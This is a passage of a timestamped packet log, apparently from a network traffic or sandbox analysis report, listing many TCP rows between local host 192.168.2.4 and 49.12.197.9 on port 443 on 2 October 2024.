Oct 2, 2024 05:19:26.073921919 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.073954105 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.073976040 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.081330061 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.081356049 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.081417084 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.081430912 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.081490993 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.088898897 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.088915110 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.088987112 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.089003086 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.089061022 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.095231056 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.095243931 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.095308065 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.095321894 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.095379114 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.107192039 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.107211113 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.107270956 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.107285976 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.107341051 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.122138977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.122153997 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.122358084 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.122371912 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.122430086 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.134270906 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.134284019 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.134346008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.134361029 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.134418011 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.147483110 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.147496939 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.147572041 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.147586107 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.147635937 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.167949915 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.167965889 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.168035030 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.168051958 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.168106079 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.171673059 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.171686888 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.171740055 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.171753883 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.171806097 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.177377939 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.177393913 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.177452087 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.177465916 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.177516937 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.186547041 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.186563969 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.186623096 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.186636925 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.186693907 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.195012093 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.195025921 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.195113897 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.195127964 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.195187092 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.210279942 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.210297108 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.210380077 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.210395098 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.210452080 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.223718882 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.223733902 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.223831892 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.223846912 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.223903894 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.236224890 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.236241102 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.236313105 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.236326933 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.236376047 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.255645037 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.255661011 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.255759001 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.255779028 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.255837917 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.260385990 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.260401011 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.260474920 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.260503054 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.260560036 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.266575098 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.266590118 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.266657114 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.266670942 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.266731024 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.274184942 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.274204969 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.274269104 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.274282932 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.274352074 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.284473896 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.284488916 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.284554005 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.284569025 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.284615993 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.298834085 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.298849106 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.298918009 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.298932076 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.298993111 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.312407017 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.312423944 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.312637091 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.312650919 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.312720060 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.334455967 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.334470987 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.334558964 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.334573030 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.334629059 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.344573975 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.344588995 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.344650984 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.344666004 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.344721079 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.347888947 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.347903967 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.347970009 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.347985029 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.348032951 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.355128050 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.355143070 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.355206966 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.355221987 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.355284929 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.363284111 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.363308907 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.363358021 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.363372087 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.363428116 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.363428116 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.374048948 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.374062061 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.374126911 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.374147892 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.374198914 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.387551069 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.387564898 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.387633085 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.387648106 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.387703896 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.407540083 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.407552958 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.407629013 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.407644033 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.407692909 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.423438072 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.423453093 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.423542023 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.423572063 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.423625946 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.433099031 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.433114052 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.433190107 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.433203936 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.433258057 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.436600924 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.436615944 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.436678886 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.436692953 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.436747074 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.444206953 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.444221973 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.444287062 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.444299936 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.444355011 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.461967945 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.461982012 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.462030888 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.462044001 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.462075949 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.462096930 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.465078115 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.465092897 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.465151072 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.465164900 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.465219021 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.485387087 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.485403061 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.485455036 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.485490084 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.485547066 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.496973991 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.496987104 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.497049093 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.497062922 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.497124910 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.512031078 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.512044907 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.512226105 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.512239933 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.512296915 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.522293091 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.522311926 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.522376060 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.522389889 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.522444963 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.524784088 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.524799109 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.524859905 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.524873972 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.524929047 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.532644987 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.532661915 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.532730103 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.532742977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.532793999 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.545900106 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.545917988 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.545991898 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.546005964 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.546072960 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.563138008 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.563158035 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.563206911 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.563255072 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.563266993 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.563323975 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.593342066 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.593359947 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.593426943 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.593441010 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.593497038 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.596712112 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.596725941 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.596795082 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.596808910 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.596859932 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.600965977 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.600987911 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.601035118 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.601047993 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.601075888 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.601151943 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.610551119 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.610572100 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.610630035 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.610644102 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.610697985 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.613908052 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.613928080 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.613986969 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.614000082 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.614052057 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.621562004 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.621577024 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.621758938 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.621773005 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.621830940 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.633990049 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.634005070 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.634066105 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.634079933 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.634133101 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.651598930 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.651612997 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.651793957 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.651808023 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.651868105 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.682519913 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.682539940 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.682627916 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.682647943 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.682707071 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.685581923 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.685595989 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.685659885 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.685673952 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.685728073 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.689789057 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.689804077 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.689889908 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.689903021 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.689955950 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.700056076 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.700071096 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.700150967 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.700165987 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.700221062 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.702820063 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.702835083 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.702903986 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.702918053 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.702971935 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.721765995 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.721777916 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.721863031 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.721877098 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.721929073 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.724364042 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.724376917 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.724447012 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.724459887 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.724514008 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.740858078 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.740871906 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.740952969 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.740967035 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.741022110 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.771979094 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.771994114 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.772085905 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.772099972 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.772156954 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.774091005 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.774105072 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.774168015 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.774183035 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.774238110 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.779805899 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.779819012 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.779881954 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.779896021 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.779939890 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.788706064 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.788723946 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.788784981 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.788799047 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.788851976 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.792015076 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.792027950 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.792090893 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.792104006 CEST	443	49746	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:26.792155981 CEST	49746	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:26.810425043 CEST	443	49746	49.12.197.9	192.168.2.4
